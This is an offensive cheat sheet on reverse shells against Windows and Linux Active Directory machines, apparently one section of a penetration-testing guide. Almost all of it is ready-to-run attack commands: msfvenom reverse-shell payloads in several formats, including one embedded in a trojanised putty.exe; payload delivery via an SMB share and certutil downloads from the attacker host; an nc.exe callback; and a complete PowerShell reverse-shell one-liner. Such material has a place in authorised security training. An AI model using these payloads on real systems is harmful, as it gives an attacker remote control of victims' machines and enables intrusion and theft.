06 / Reverse Shells
Establish a persistent callback from a Windows or Linux AD machine to your listener. Covers msfvenom payloads, Windows CMD/PowerShell shells and shell stabilisation.
sudo nc -nvlp $ATTACKER_PORT
msfvenom -p windows/x64/shell_reverse_tcp LHOST=$ATTACKER_IP LPORT=$ATTACKER_PORT -f exe -o payload.exe
msfvenom -p windows/x64/shell_reverse_tcp LHOST=$ATTACKER_IP LPORT=$ATTACKER_PORT -f msi -o payload.msi msiexec /quiet /qn /i C:\Windows\Temp\payload.msi
msfvenom -p windows/x64/shell_reverse_tcp LHOST=$ATTACKER_IP LPORT=$ATTACKER_PORT -f exe-service -o reverse.exe
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=$ATTACKER_IP LPORT=$ATTACKER_PORT -f dll -o payload.dll
msfvenom -a x64 --platform windows -x putty.exe -k \ -p windows/meterpreter/reverse_tcp lhost=$ATTACKER_IP lport=$ATTACKER_PORT \ -b "\x00" -f exe -o puttyX.exe
sudo python3 /usr/share/doc/python3-impacket/examples/smbserver.py share_name .
copy \\$ATTACKER_IP\share_name\reverse.exe C:\Windows\Temp\reverse.exe C:\Windows\Temp\reverse.exe
certutil -urlcache -split -f "http://$ATTACKER_IP:8000/payload.exe" "payload.exe" certutil -urlcache -split -f "http://$ATTACKER_IP:8000/nc.exe" "%TEMP%\nc.exe"
"nc.exe" -e cmd.exe $ATTACKER_IP $ATTACKER_PORT
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('$ATTACKER_IP',$ATTACKER_PORT);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
python3 -c 'import pty; pty.spawn("/bin/bash")'
python -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
Ctrl+Z stty raw -echo; fg reset